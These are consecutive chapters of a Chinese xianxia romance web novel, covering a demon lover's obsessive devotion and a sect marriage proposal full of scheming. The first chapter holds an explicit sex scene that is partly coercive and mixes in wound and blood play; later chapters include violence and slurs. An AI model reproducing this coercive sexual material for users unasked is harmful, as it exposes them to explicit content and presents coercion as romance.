他哀求着,像是程今越路边捡的可怜的小猫。 第49章 生病的滚烫小狗。 少有的乖巧。 程今越的心中突然生出怜爱。 她将怀钰抱在自己的怀里,两人的肌肤紧紧地贴在一起,所有地方几乎紧密贴合。 淡淡的血腥气混合着苦艾草的味道在屋中沉浸,但依旧压不住但空中浑I浊又暧昧的气息,连四周都变得燥I热了起来。 怀钰埋在程今越的胸口,虽然是程今越抱着怀钰,但由于巨大的体型差,更像是怀钰死死压着程今越。 程今越看见怀钰宽厚的背后全是纱布裹起来的伤口,怀钰毫不在乎伤口,纱布下正渗出新鲜的血色,泛着潮I湿的光。 程今越的黑发落在怀钰的腰上,背上,在微弱的灯火下,她轻轻地笑着,非人的笑容让她像是怀钰的一只傀儡娃娃。 “摸摸我吧……小越……求你摸摸我。” “我好热啊小越……我是不是生病了?” “你要照顾我,小越……” 怀钰在呜咽,他剧烈地呼吸着,疯狂的情绪几乎无法压抑,他几乎要把她压扁,肉与肉之间挤在一起,一丝汗水在上面闪烁着黏腻的光。 程今越只是故作不懂,伸手摸了摸他的额头,眼眸澄亮,“是啊,怀钰身上好烫,一定是生病了。” 程今越的手格外冰凉,触碰在怀钰的脸上,让他浑身一抖,发出沉沉的呼吸声。 她倾身在怀钰的耳边软软地说着,滚烫的气息打在怀钰的耳边,那触感让程今越已经有些惊讶。 “救救我吧,小越……”他哭泣着,朦胧地抬起婆娑的眼睛,从来深沉的黑眸如今却半虚着,泛着水光,像一只很乖的小狗。 “我应该怎么帮你呢,怀钰?”程今越皱着眉头笑着。 怀钰一把抓住程今越的手,放在自己的身上,他的胸口起伏的,滚烫的,杂乱的衣裳被汗水略微打湿,薄薄的衣衫被风吹拂,程今越能清晰地感受到怀钰的心跳,感受到肌肉的线条,感受到丑陋的东西。 “摸摸我的脸吧,小越……求你了。” “神女殿下,求您救救您的信徒,好吗?” “怀钰是您最虔诚的信徒,求您降下神佑,降下甘霖,救救我吧,求您……” 他低沉地喘着,他的眼睛看着程今越的眼睛,随后吻上上程今越的眼睛,左眼、右眼,高翘的鼻子,红润的嘴唇。 他浑身湿漉漉的,他也要把程今越拉下水,他们要一起共沉沦。 怀钰死死地吻着程今越,湿润的舌尖勾弄着程今越的舌头,又毫不犹豫地吸I吮着,一直深深地吸到她的舌根,好像要将她吞下去,顽皮的狗总是把主人的脸弄得湿漉漉的。 “我会救你的,怀钰。”她轻轻地笑着。 从嘴再到耳尖,泛着红的脸颊,胸口……怀钰肆虐地吻着,把程今越也弄得湿漉漉。 “神女殿下,你好软……好香。” “为什么……为什么我根本离不开你了?” “你是不是对我下了什么药?” “我不该这样依赖你……可我好爱你。” 他一边吻着,一边呜咽着,心跳剧烈地跳着。 程今越伸出食指,挡住怀钰的嘴。 “错了,怀钰。” “你就应该依赖我,就应该离不开我,这是正常的,众人都是这样的。” “我爱你,你也爱我,不是吗?” 程今越皮肤格外地白,在夜中像观音,可她的声音偏偏如此充满蛊惑。 怀钰点点头,随后咬住程今越的手指,不断吸吮着,将程今越的手指吞进喉咙深处,这里温暖又湿润,在刺激下不断地分泌着涎水,顺着怀钰的脸流下,又顺着程今越的指根打湿手掌。 “小越……小越在抚摸我……” 他嘴里轻轻咬着程今越的手,说话不清不楚,还喘着,程今越听不清楚他的话。 怀钰整个人都包裹着程今越,就连细枝末节也包裹着,潮湿的温暖,绝对的安全感,诡异而病态的爱。 程今越不知道为何突然很安心,或者是怀钰修为的保障,或者是怀钰给她带来的愉悦,又或是这近乎信仰般的爱,像子宫一样令人安心。 这是从未拥有的感觉,甚至会让从来理性的程今越产生出幻觉,她像是上瘾一般,她享受拥有怀钰的感觉。 无论是被人信任着依赖着的感觉,被人当做神明的感觉,被绝对的实力保护起来的感觉,欺弄一个可怜的小狗感情的感觉,都让她觉得上I瘾。 程今越在一点点满足他。 她伸出另一只手,从怀钰的头一直往下摸,她的手轻柔,带着丝丝冰冷,触碰着他滚烫的肌肤。 所过之处都让怀钰浑身一颤,喉咙间发出诡异的叫声。 程今越摸到怀钰的后背,摸着怀钰的仅仅裹住的伤口,她轻轻挑起纱布,一层一层解开,像是抽丝剥茧。 纱布处理得不算好,还沾着怀钰的肉,程今越温柔又残忍地轻轻挑开肉与纱布。 疼痛让怀钰发出“嘶”的一声。 丝丝的血从伤口渗出,在怀钰的背上,像是草原上的一抹红缨,让程今越不禁咽了咽口水。 她看见了怀钰伤口在不断地生长恢复着,若不是亲眼所见,她根本不敢相信有人能拥有这样恐怖的恢复能力。 猩红的肉在恢复中蠕动着,像一张鲜红的唇。 程今越将手抚摸在伤口上,轻轻摩挲着,怀钰发出沉闷又享受的声音。 他的一双大手死死抓住程今越身上的肉,一边喘着,“小越……继续摸摸我吧……” 似乎并不满足现状,他抓住程今越的手指,狠狠戳进还未愈合的伤口中。 “对……啊……小越……很深……小越摸在我的深处……” 程今越微微一愣,她的指尖触碰到的是滑腻的血,蠕动的肉,鲜活的生命。 她的手无法动弹,只能任由怀钰将手指伸进伤口更深处,她的手指被强行握住,在血肉中搅和着,血顺着她的手腕不断流下,像是润滑剂。 疯子…… 察觉到程今越要开口,怀钰另一只手直接捂住程今越的嘴,发出唔唔的声音。 “呜——” 他沉沉地笑着,眉毛带着愉悦轻轻皱着,“就是这里,小越……” “好喜欢被小越抚摸……” “我好幸福,我是被神明眷顾的人,我是被……爱着的人。” 程今越想抽回手,可是怀钰根本不肯松手,随后她的身I下传来钝痛,但紧随其后的是让大脑几乎空白的快I感。 她的手瞬间失去力气,几乎瘫倒着,但她的手依旧被抓着,传来生硬的疼。 神明也有被亵渎的一天。 当然,他可是魔,魔生下来就是应该将神明落下高台的。 这是只能属于他一个人的神明。 他将程今越的手伸进血肉之中,剧烈的疼痛在脑海里完完全全地变化成了爽意。 “神女殿下,惩罚我吧,我是魔,一只很坏很坏的魔……” “我在神女殿下前,反省我的过错。” “求您让我得到应有的惩罚……” 他颤抖着。 “从我的伤口这里,撕开,小越……” 他想要程今越摸摸他的骨头,再摸摸他的五脏六腑,最后抚摸他的心脏。 如果是为了惩罚他,捏碎他的心脏也可以。 只要是程今越。 程今越皱眉。 真是疯了…… 程今越想要将手抽走,却被怀钰死死抓住,程今越想要发出声音,被依旧被他用宽厚的手捂住嘴巴,她想要动弹,被却怀钰死死地压着。 猛烈的动作下,她几乎失去力气,无法动弹。 不过没有多久,怀钰还是还了程今越自由,他只是稍稍任性了一下,小越一定不会怪他。 程今越如今根本没有精力去责怪怀钰,她压抑着声音,发出不该从她喉咙里发出的声音。 “神女殿下,怀钰任性了……” 他眨着眼,软着声音,可他却完全没有放过程今越。 “原谅我吧……求您……” 他幸福地快要哭出来。 他紧紧抱着程今越。 “小越不会离开我的,对吧?” 程今越几乎无法说话,她只是摇摇头。 “小越可以一直跟我在一起,对吧?” 她点点头。 “等事情一切都结束后,小越就跟我去魔界,好吗?” 她点点头。 “我精心给你准备了礼物,小越想要什么你都可以告诉我,我定会为你满足。” 这不是假话。 程今越看着他。 你的灵根也可以给我吗? 你的性命也可以给我吗? 你爱我大过这一切吗? 她想问,但她没开口。 她不信。 她不信爱。 “小越……小越……” 他犹豫着没有开口。 程今越露出疑惑地表情。 “你可以……嫁给我吗?” 程今越正要开口,她却突然感受到一封信放在了她的殿前。 是萧极的信。 他果然要行动了。 不能任由怀钰这样,不然怕是接下来的一整天都要浪费在这上面。 她需要去做正事了。 程今越迟迟没开口,怀钰的心砰砰地跳着。 他的心格外紧张。 他觉得自己快要不能呼吸。 他觉得自己血液都在压抑。 为什么程今越不回答他? 他脑海里闪过一万种想法。 程今越笑着,只是片刻犹豫,随后开口。 “好啊……” 她颤着声音。 怀钰欣喜若狂,程今越却不知为何,缓缓地推开了他。 “怀钰,为了我们的未来,我现在要去办一件很重要的事情。” 她说。 怀钰失魂落魄,“一定要是现在吗?” 程今越点点头。 “别担心,怀钰,我们还有很多很多的时间,不是吗?” “我会嫁给你,我们会一起很久很久。” 怀钰不好敷衍,程今越废了好长的时间才安抚好他。 怀钰最终还是服了软。 过度的甜蜜让他已经成了程今越的一条忠犬。 毕竟……程今越总不可能背着他去见其他男人的。 第50章 “我的未婚妻会喜欢吗?” 大衍剑宗的山门隐在云海深处,九千九百级白玉阶蜿蜒而上,朝霞染透了十二峰。 程今越正站在众人之前,身后人皆低着头,她静静地站在那里,黑发飘逸,鬓边别了一根玉簪子。 今天是个特殊的日子,无定界的萧极将会来大衍剑宗提亲。 众人皆微微有些震惊。 这个消息虽然已经传出来很久了,但是始终没有得到证实,除了大衍剑宗单方面在宣传外,无定界并没有一点的表示,一时间众说纷纭。 谁知,没有一点消息的情况下,萧极今日却突然要来剑宗提亲。 就连大衍剑宗也没有得到一丝消息,甫一得到消息就急急忙忙地开始准备。 “萧界主要娶的不是蕴知小姐吗?三小姐站在那里做什么?”有人开始议论。 “哼,还能有什么原因,嫉妒蕴知小姐嫁给萧界主呗,想要站出来勾引萧界主,从中使绊子呗。” 酸溜溜的声音响起。 “你们在吵什么!”何末立马注意到角落里低声蛐蛐的声音。 孟朝走后,他就担任起照顾三小姐的重任。他身上的伤还没好,疤痕显得狰狞。 “三小姐是奉命迎接萧界主,如若再有人敢妄言,格杀勿论。” 他声音冷冷,已经脱了稚气。 众人不敢再讨论。 程今越仿若没有听到一样,只是远远地看着玄鹤衔着金铃掠过琉璃瓦,惊起一串清脆的铃声。 “来了。” 身侧的执事长老突然低喝。 东方天极云层翻动,九头青鸾拉着的沉香木车缓缓而来,车辕上的蛟龙雕纹在日光下缓缓游动,车后更是跟着数不尽的人,无不彰显来人身份的尊贵。 车队悬停在山门外,玄衣侍卫如墨点般散开。 车帘被一柄乌木折扇挑起,那人踏着虚空拾级而上,每一步落下都绽开一朵金莲。 程今越闻到了雪松混着龙涎香的气息,抬眼时正好撞进对方含笑的眼眸。 “程三小姐。”萧极在离她三阶处站定,玉冠束起的墨发被山风撩起一缕,“好久不见。” 程今越看见此人,心中便会生起不悦。 但不得不承认,这位名震仙界的萧界主生得极好,眉眼温润,总是带着若有若无的笑,像是从月光下剥落而出的玉。 众人皆说萧极是谦谦君子,程今越却觉得这张面皮下是一条吐丝的毒蛇。 “今越见过萧界主。”程今越柔柔地笑着。 “父亲母亲已在大殿等候许久,就等萧界主了。” 程今越做了一个邀请的动作。 风轻轻吹,程今越等着萧极的回答。 可是萧极却直愣愣地看着程今越,一双笑眼不加掩饰地盯着程今越。 他突然弯腰,身上的香气萦绕在程今越的鼻尖。 “在下带了百箱聘礼,三小姐不如现在清点?” 他轻笑着。 “今越身份低微,纵是我知道萧界主的聘礼有多好也无济于事。还是让父亲母亲看看,让姐姐看看更为妥当。” 她不卑不亢地笑着,又轻轻往后退一步,和萧极保持着适当的距离。 萧极只是一笑,随后点头。 “在下疏忽。” 他跟在程今越的身后,让她带路。 绕过舞榭楼台,长廊凉亭,二人缓缓走向大殿。 程今越迈入大殿内进行通报,大衍剑宗是大宗门,礼节繁琐,在来回地点头下,她终于得以进入殿中。 程旭和李从霜坐在大殿之中,各坐左右两个主位。 李从霜自从上一次和程今越撕破脸皮后,如今更是脸色都懒得摆。 “怎么就你一人,蕴知呢?” 事出紧急,李从霜都还没来得及告诫程蕴知应该怎么做,甚至没有好好地将她打扮。 她心中急切,如今大衍剑宗式微,急需无定界的帮助,蕴知今日可断断不能出差错。 “姐姐勤奋,本在漱玉潭修行,方才接到消息,如今才去妆饰更衣。” 程今越毕恭毕敬,不多说一句。 李从霜一双上挑的眼睛将程蕴知上上下下打量了个遍,怎么看她都不顺眼,不断地拨弄着手中的珠子。 程蕴知但凡出什么事情,自然是程今越做的鬼。 但程今越说的的确没错,李从霜早就派人偷偷看过程蕴知了,如今的确是在天极宫。 程蕴知格外注重外表,今日又是重要日子,免不了一顿打扮,少说也要数个时辰。 但她又转念一想,程蕴知本就不愿意嫁给萧极,若是今日见面多时,怕是会暴露秉性,发起疯症,若是让萧极不满,到时候也不好。 还不如就等一切事情定下来后,寥寥见个一面,先板上钉钉了再说。 “程今越,你最好给我老实安分一点,不要有一点的歪心思。” “我有的是法子收拾你。” 她狠狠瞪了一眼程今越,再次警告。 “好了。”程旭喝止。 殿外传来通报声,“萧界主到——”。李从霜立刻收起脸上的怒容,换上一抹端庄和蔼的笑容。 程今越并不恼怒,只是站在一旁,神色平静。 萧极踏入大殿,先对着程旭和李从霜行了微微一礼。 “程宗主,许久不见,别来无恙。”他的声音温和,又带着几分恰到好处的亲昵。 配上这句话,若是程今越没有看他,还真以为是多么周全的礼数。 甚至不能说是礼,萧极只是眼皮微微垂了垂,连头都没低一下。 明明程旭夫妇坐在高座,却看起来像是萧极在审视他们。 程旭心中不悦,嘴唇微抿,可面上却无法发作,面上动了动,最后还是化作了笑。 “老夫恭候多时,萧界主请坐。” 不愧是老狐狸,情绪隐藏得格外的好。 只是他的一双儿女没有一个学会了。 嗯,不对。 还有一个。 萧极轻轻瞥了一眼程今越,眼眸笑意更深。 程今越心中冷哼。 都这个时候了,还不忘给她添堵呢。 像萧极这样的货色,就应该把眼睛挖出来,磨干净傲骨。 “不坐了,程宗主,在下怕耽搁您的时间。” “我们直接切入正题吧。” 他轻轻抬手,让侍从搬上来一箱又一箱的聘礼。 李从霜不悦,立马就要开口,程旭一个眼神瞬间制止,瞪了李从霜一眼。 这萧极,简直是狂妄至极,丝毫不把人放在眼里。 她大衍剑宗也是世间一等,竟然让萧极如此放肆。 程旭微微摇头,毕竟是求别人办事,有何办法? 萧极太强了,李从霜没有与他交过手,但是程旭清楚,萧极的实力堪称世间第一,他程旭在仙界也是赫赫有名,但完全不是萧极的对手。 如今无定界一路高歌猛进,实力水涨船高。 萧极的确有嚣张的资本,而自己拿他,的确没有办法。 “正好,老夫亦是此意。”程旭拱手笑道。 百口鎏金箱笼被灵光托着浮上半空,箱盖齐齐掀开之时宝光冲天,灵气四溢。 “西海蛟王逆鳞三百片……千年幽冥玄铁百斤……龙血朱砂百斗……” 随从开始唱礼。 众人大惊,一直听闻无定界实力强盛,却未曾料到已经到了如此夸张的地步。 李从霜有些咋舌,原先的愤怒被长长的唱礼单瞬间抚平。 如此看来,萧极虽然性格高傲了些,但的确是用了心思的。 程今越没有抬头,只是静静地听着,她站在一旁,连座位都没有。 礼单太长,要唱完怕是时间早就过去了,随从只念了关键的部分,就将单子递给了程旭。 程旭笑着,“老夫替小女谢过萧界主了。” 萧极点点头,正要转身做下一步,却突然想起来什么,问道:“程二小姐呢?” 程旭心中一惊,没有想到萧极真的会过问程蕴知。 倒也是,这样也体现萧极是将蕴知放在心上的。 他羞愧地笑,“萧界主也知我那小女注重礼仪,如今面见的对象又是萧界主您,心中便思绪万千,如今还在精心打扮中,就为了能以最好的姿态面见界主。” “小女如今正在准备,待我们祭坛结契完成后,小女应当便已准备好了。” 萧极笑着,微微歪头,莫名其妙看向站在墙边一句话都没说过的程今越。 “是吗?” 众人顺着萧极的目光看向程今越,程今越微微颔首,“正是如此,姐姐为了面见界主,耗费了不少心思,如今尚在打扮之中。” 萧极发现了什么吗? 不会的。 不过。 就算是发现了又怎么样呢。 “那就祭坛有请吧。”程旭伸出手。 祭坛? 程今越懂了。 她不信任萧极,萧极也不信任她。 都是隔三岔五寄来一封信,让程今越去做事,但并不说原委。 程今越也不过问,知道得越多不是一件好事。 她回想起萧极让她做的那些事情,又谈及这个祭坛,她明白大衍剑宗与萧极做的什么交易了。 无定界虽然强悍,但大衍剑宗也并不是省油的灯,就算是想请无定界做事,也不会做什么亏本的买卖。 程蕴知本就性格古怪,在这仙界立下仇人无数,如今大衍剑宗在走下坡路,无法护程蕴知一辈子,嫁给萧极也是一桩极好的法子。 但程旭夫妇从来心疼程蕴知,视程蕴知为掌上明珠,无比疼爱,自然无法完全信任程蕴知。 所以他们想了个法子,制定契约。 但以萧极的修为,普通的契约无法制约萧极。 于是他们便选在宗门祭坛。 大衍剑宗的祭坛有千万把上古宝剑镇守,灵力非凡,在祭坛订下契约自然双方都满意。 萧极本该与程旭夫妇二人走在一起,可他偏偏要跟在两人身后。 没人敢说什么。 但萧极却离程今越越来越近。 程今越一句话都不说,好像没看到萧极一般。 可萧极却突然对她笑着说话,“二小姐,你觉得我准备的这些聘礼,我的未婚妻会喜欢吗?” 跟她有什么关系。 “姐姐定然十分喜欢,萧界主的聘礼可都是世间罕见之物。” “是吗?” 他不急不慢地开口。 “可我觉得,我的这些聘礼,似乎都比不上二小姐头上的这根簪子。” 萧极眉头微微一挑,唇角划过极淡的笑意,掩不住凌厉的气质。 程今越心中一紧。 簪子? 这是怀钰亲手给她做的簪子。 “不过是一支普通的簪子罢了,不是什么珍贵的东西。” 她摇摇头,却看向萧极的眼睛,想要从里面看出些什么。 “世间万物,讲究的无非都是缘分,我很喜欢二小姐头上的这支簪子。” 他眼神懒倦,像盖了一层薄薄的雾,程今越什么也看不出来。 “若是萧界主喜欢,我定吩咐他们,不出几天,定会送给萧界主一支一模一样的簪子。” 她应付着。 “不,我只要这一支。”【魔蝎小说 mo xie xs .c om】 50-60 第51章 程今越的狗。 程今越对上萧极的双眸。 她看*不清萧极的情绪,对方的眼眸像是冬日里的雪,苍茫一片,但他从不掩饰野心与欲望。 他气息深沉,根本看不清修为,灵力从身上慢慢四溢出来,寻常人碰到这样的眼睛与温柔的话,心中早就开始心乱如麻了。 可程今越不是寻常人。 “我这支簪子,是我一闺中密友赠予我的生辰礼物,他生性爱哭,像个孩子,若是他知晓了我弄丢了这簪子,必然会大哭大闹,我每次都要哄好久。” “萧界主饶过今越吧。” 她笑着,微微皱起眉头,言语轻软,一副乖巧邻家的模样,带了一些撒娇的意思。 程今越的眼眸中映衬阳光,澄澈干净,笑的时候又用手掩着嘴,好像真的确有其事一样。 萧极看着程今越这副模样,突然觉得很有意思,他笑吟吟的。 “很可惜,这不是询问的意思。” 带着笑说出命令的句子。 他比程今越高许多,只是修长地站在那里,就足够有威压,让人心中生出惧意。 程今越笑意更深,气氛有些凝固。 他朝程今越伸出手。 “今越知道了。” 程今越犹豫片刻,将簪子从头上取下,递给萧极。 心中暗道有病,面上却装作惊恐的模样。 她遇到的疯子越来越多了。 最好的办法只有一个,就是装傻子。 疯子一般都喜欢聪明人,但是装傻子就能避免很多纠纷了。 尽管她不觉得能在萧极面前装很久的傻子。 四周的人虽然不多,都是两宗的心腹,但每个人都看得到萧极的动作。 李从霜看到程今越将自己头上的簪子递到萧极的手上的那一刻,她浑身的火气都要冒起来了。 “狐狸精!她还想勾引萧极!” 她暗暗骂道。 程今越看到李从霜的双眼,简直要把她生吞活剥了。 她有些想笑,虽然之前做的坏事都是她干的,但是这一次她是真的委屈啊。 但在萧极面前,没有人敢有任何非议。 不过这是对于聪明人来说的,对蠢货并不适用。 既然萧极赶时间,程旭也不想多浪费口舌。 事出突然,他甚至还没来得及准备这场仪式,只得今日临时布阵。 他作揖后,随意客套了两句,便又唤了几个弟子去催促程蕴知,随后便进入了剑冢祭坛中。 除了准备,萧极带来的几百箱聘礼也要收入大衍剑宗之中。 保管剑宗宝库的地方名为璇玑楼,正处于祭坛正中央。此处放置着大衍剑宗的神兵利器、功法秘籍、奇花异草、天材地宝等。 可谓是大衍剑宗内最重要的地方,若要开启,必须要嫡亲的血脉方能打开。 这也是程今越许下的承诺。 如若萧极想要,她便可在事成之后助其打开璇玑楼,夺得所有珍宝。 萧极众人坐在祭坛外的华亭中等候,佳肴美馔皆备,周身的侍卫便抬着珍宝鱼贯而入。 趁等候的时间,李从霜连忙唤出一人。 华亭外,有一个熟悉的身影出现在众人视线前。 他穿了一袭鲜亮刺眼的绛紫色锦袍,奢华无比,双眼狭长锐利,长相便是一副恶人相。 程今越定睛一看,心中忍不住生笑。 这不是她亲爱的好哥哥,程望么。 程望笑着朝萧极作揖问好。 “见过萧界主!” 但这身衣服的袖子很长,将程望的手几乎全都遮盖住了。 他走路看起来不是很流利,袍边的精心点缀的东珠,随着他的步伐微微晃动,发出不算清脆的声音。 怎么看都有些滑稽。 看来是无法回到以前作威作福的时候了。 也是好久没见到程望了。 程今越记得很清楚,程望都快被孟朝打死了,他的双腿都被打断,仅存的左手也被孟朝砍断。 孟朝修为不低,以程望这个修为,想好起来可难了呀。 就算医修的医术再高明,但这也不是短时间就能好起来的事情。 程望两只手几乎都无法正常使用,走起路来的时候还一瘸一拐。 天生高贵,程望何曾受过这等委屈。 而罪魁祸首正在眼前。 他朝程今越投来恶狠狠的目光,嘴角咧着笑着。 程今越都能想到程望要说什么,无非是什么“要你去死”“狠狠折磨你”这种话。 一点意思都没有。 而且,罪魁祸首可不止她一个呀。 她的目光投到萧极身上。 程望的右手可是萧极亲自斩断的。 方才的一幕都被程望收入眼底。 程望心中愤懑,他恨不得直接杀了程今越,但是萧极在眼前,他收起愤怒,不敢造次。 “萧界主,我这妹妹性格乖戾,从小就爱惹是生非,您可千万别被她这单纯的模样骗了。” 他嘴角勾起嘲讽的笑,看向程今越。 萧极似有若无地点点头,“是么?” “不是这样的!”程今越连忙摇头,泪水瞬间奔涌而出。 程望心中心喜,立马添油加醋,“正是如此!” “您瞧我这一身伤,全部拜她所赐!” “程今越收留来历不明的下等人族,在我宗门内挑拨离间。” “她平日行为亦不检,与我宗多位弟子暧昧不清,我此身的伤皆为她手下的狗所伤!” “如今又竟敢打扰萧界主,就由我来规训规训她!” 程望怒气冲冲地说了一大堆,等着萧极开口。 萧极却置若罔闻,只是轻笑。 “你是?” 程望这才意识到自己失态,忙收起脸上的恶劣神情,换上一副谄媚的笑容。 “萧界主,您不认识在下吗?在下程望,是大衍剑宗的长公子,蕴知的哥哥。久闻萧界主大名,一直想找机会结识,今日实在冒昧了。” 萧极微微点头,算是回应。他把玩着手中的簪子,似乎对程望的话并不怎么在意。好像这件事和他并没有关系,他只是在亭中听戏。 程望脸都要笑僵了,可萧极却还是不开口。 他抬眸,看向萧极的眼睛,却不由自主地浑身发抖。 那双黝黑的眸子虽然笑着,却全然是冷意。 明明萧极没有任何的动作,仅仅是身上的威压,就让程望腿脚发软。 高贵和高贵之间也是有区别的,有的是从骨子里,有的是在皮肉上。 “嗯……那确实。” “我想起你了。” 萧极忽然开口。 程望欣喜,心跳得极快。 他来此趟的目的便是为了结交萧极。程旭曾千叮咛万嘱咐他,定要与萧极打好关系。萧极实力深厚,万万不可小觑。 他也在仙界中听到萧极的传闻,无定界神秘无比,弟子稀少,但个个是人中龙凤,萧极斩杀各魔物妖兽的传奇层出不穷。 若是能得到萧极的青睐,那他定能得到点拨,修为青云直上! “啊,您还记得我!” “是啊。” 他微微一顿。 “如此说来,我倒还要给程公子道个歉呢。” 程望一愣。 “程公子手上的伤,也有我的一份呢。” “贵人多忘事啊。” 萧极突然懒散地笑起来,眼皮轻轻抬了抬,低头看着程望。 程望顿时大脑空白,像尸体一样安静,他浑身发冷。 他不知道为何,一个恐怖的念头在他脑海里浮现:他觉得萧极是个疯子,会在现在就杀掉他! 他不想死,他擦了擦冷汗,慌张开口。 “不是这样的,您听我解释!” 李从霜心中愤懑。 这个蠢货! 她怎么会生出程望这么愚蠢的儿子! 程望还想说话,程旭已经从祭坛中走出,李从霜连忙打断。 “萧界主,所有准备已经就绪,还请随我来。” 萧极罔若未闻,只是笑着挥挥手,只见萧极身后的侍卫便走至程望周围。 “请吧,程公子。” “这是何意呀,萧界主!” 程望心中慌忙,怒意从心中而起,明明你我年龄差距不大,凭什么这样对他? 萧极未免也有些过于高傲了!不过是老子死得早才当上了界主,在这里耀武扬威什么! 他拼命挣扎,却发现萧极身边的侍卫都修为格外深厚,他不仅完全不是对手,甚至连挣脱束缚都无法做到。 怒意一下子充斥了程望的脑子,他顿时又要发作,李从霜瞬间喝止他。 “住嘴!逆子!” 蠢货! 萧极可不是省油的灯,无法结缘便算了,程望这倒是还想要结仇。 她心中怒火难平,死死瞪了程望一眼。 随后她又立马和颜悦色地朝萧极一笑,“萧界主,犬子愚钝,性情耿直,还望萧界主见谅。” 若是平常,程望如今已经死了。 不过,程望要是死了,一会儿还如何看戏呢? “我以后不希望他再出现了,李夫人。”他嘴角的笑意凉薄。 李从霜心中一颤,连忙应声。 她又何时受过这种委屈,等剑宗再次强盛,她必然不会放过萧极。 “自然自然。” 所有人都等着萧极动身,而他却依旧坐在华亭之中,微微抿了一口茶。 却没有一人敢上前催促。 萧极却在此时回味起了程望的说辞。 程望身上的伤皆为程今越的狗所伤。 程今越的狗吗? 萧极一边把玩着簪子,一边瞥了一眼泪眼婆娑的程今越。 始作俑者正楚楚可怜,眼角泛红,泪珠大颗大颗落下,看见萧极的目光,她投来希切的目光。 好像和他联手杀人的,不是她一般。 程今越看到目光落到自己身上,她神色惶恐,慌张地擦了擦眼角的泪,及腰的长发摇曳着。 李从霜示意程今越开口劝劝,可程今越就是只一味地哭,说不出一句话。 萧极思考着。 究竟是懦弱的,为了生存的,强逼自己的倔强小白花。 抑或是善于伪装的,聪明的,伪善的杀人者。 萧极很好奇。 他终于慢悠悠地进入了祭坛之中。 很快就会有答案了。 他相信。 第52章 程今越笑着拿出了刀。 萧极的身影方一进入祭坛之中,程望就瞬间拼命挣扎起来,但他的两只手是用特殊的灵法新生出来的,他根本就不能熟练使用。 他疯狂地摆弄着双臂,企图挣脱侍卫的压制,可无论如何,他都没办法摆脱。 “放开我!你们这些贱畜!” “老子是大衍剑宗的长公子,你们有什么资格压住我!” “不过是无定界卑贱的仆从,你们是没脑子吗?” 程望的怒气直冲大脑,他气得满脸通红,不能呼吸。 可任由程望如何辱骂,那两个侍卫脸上都没有多余的表情,像是木偶一样,只会遵守萧极的命令,浑身上下如铁一样,毫不动弹。 李从霜心中也恼怒,“萧界主都已走了,你们还要压着我儿?简直放肆!” “这里可是大衍剑宗,不是你们无定界,贵宗怕是还要讲些规矩!” 对方恍若未闻,只是摇着头。 一拳打到软棉花上,让人更加恼怒。 无能狂怒让程望暴跳如雷,怒不可遏,话音尖锐。 “再不放开我,我就杀了你们!” 他突然恍然大悟,一脸阴险地看着程今越,他怒目瞪着。 “哦!我懂了,原来萧极是冲冠一怒为红颜呢!” “程今越,是不是你,你这个婊/子!你勾引萧极,你是不是早就跟他睡过了,就是为了求你的主子的怜爱!” “亏程蕴知对你那么好,你竟然还跟她抢夫君,老子早该杀了你,不要脸的娼货!” 程望双眼充血,格外狰狞,脸庞削瘦,眼球凸出,格外可怖。 若是没有人拦住,他估计现在就会直接冲上来将程今越扑倒撕碎。 程今越吓得直接往后退了两步,眼泪忍不住地落下,躲在了众人身后。 “哥哥……今越没有……为什么要这么说今越……” 她泪如雨下,单薄地身子颤抖着,无比凄惨可怜。 她一边哭着,还不忘用神识给怀钰送去消息。 按照萧极进去的时间,如今魔族已经可以开始动作了。 她已经不想跟这群蠢货玩了。 四周的仆从皆低着头,不敢言语,心中只是心疼着程今越。 程望看见程今越哭泣的模样心中便更加愤怒。 每次都是这样,每次都在这里装可怜,让周围所有的人都相信这副皮囊! 明明就是程今越干的,她却还在装弱小。 李从霜咬牙切齿,简直猖狂无比! 萧极狂傲,他手中的随从更是狂傲,狐假虎威,狗仗人势! “我最后告诫你们,放开我儿!” “不过……你们是为了程今越出气,可她自己都不觉得有什么啊,是吧,今越。” 她转头看向程今越,压住心中的怒火,嘴角勾起僵硬的笑。 毕竟打狗还要看主人,萧极性格高傲,若是真的伤了他的人,这场交易未必就能做下去。 但程今越性格懦弱,她拿不下萧极,还教训不了一个程今越吗? 众人的目光落到程今越的身上。 程今越心中冷笑,欺软怕硬的东西。 有人心中愤愤不平,三小姐心地虽然善良,但也不能任由你们欺负啊! 剑宗内的人谁不知道三小姐心善。 程今越似乎是听不懂李从霜说话,只是不断地落泪。 四周的气氛格外僵硬,空气仿佛凝结成冰,紧张得让人喘不过气。 身份低微的随从们都低着头,像鸟一样连大气都不敢出。 却突然有人站在程今越身前。 何末挺身而出,“夫人,您是否有些太过分了!” “长公子口出没有证据的恶言,就算三小姐心善,断然也不能受这样的委屈!” 何末看不下去了,三小姐心善,恐怕真的要为了程望说出求情的话。 孟朝公子已经不在了,反正他贱命一条,他必须要站出来保护三小姐! 程今越心中摇头。 何必呢,人在屋檐下,没有必要为了她出头。何末太弱小了,最多逞口舌之快,最后怕还免不了李从霜的毒手。 就算是众人都觉得何末说得对,都觉得她程今越委屈,又有什么用呢?李从霜一只手就能把他们全杀了。 人在没有实力的时候,多说一句话都是找死。 但程今越依旧抬眸看了一眼何末,泪眼婆娑,连忙摇头,“何末,你别这样说……娘亲也是为了我好……” 李从霜心中窝火正找不到出气的地方,无定界的人耍威风也就算了,宗门小小弟子也胆敢放肆! “你算什么东西,这里有你置喙的地方吗?” 李从霜抬手汇聚灵力,一掌就朝何末身上打去。 众人连连恐慌,程今越吓得更是喉咙中发出呜呜的叫声,“娘……别这样。” 谁知却见一道白光,抵挡在了何末身前。 巨大的冲击力在地上碰撞出一个大坑,余威直接将附近的人冲撞了出去,程今越在众人的搀扶下勉强没有摔倒。 巨大的烟雾弥漫开,让众人不断咳嗽着。 李从霜根本是下了死手,压根没想何末活着,甚至想带着程今越一起受伤。 “何人敢阻拦我!” 李从霜杀人未遂,心中更是气愤,她手指紧握,指节泛白,胸口不断起伏。 只见从人群中走出一男子,年龄约莫五六十岁左右,气质和蔼,装扮儒雅。 “夫人何必动气,不过是个弟子罢了。” 他笑道。 “在下是无定界长老,亦是界主的贴身仆从,白落是也。” 他拱手,笑眼盈盈。 随后不经意看了几眼程今越。 李从霜有些印象,此人在无定界也多年,混迹各宗门之中,多替萧极出来外交。 方才应当是清点聘礼,将聘礼运至璇玑楼了。 “还不赶紧放了贵公子!你们这些没眼力见的!”白落厉声斥道。 那二随从才如傀儡一般,听到指令一样,又面无表情地松开了程望。 “抱歉抱歉,是我无定界管教不力。待蕴知小姐嫁入我无定界时,定让未来夫人好好收拾收拾这些人!” 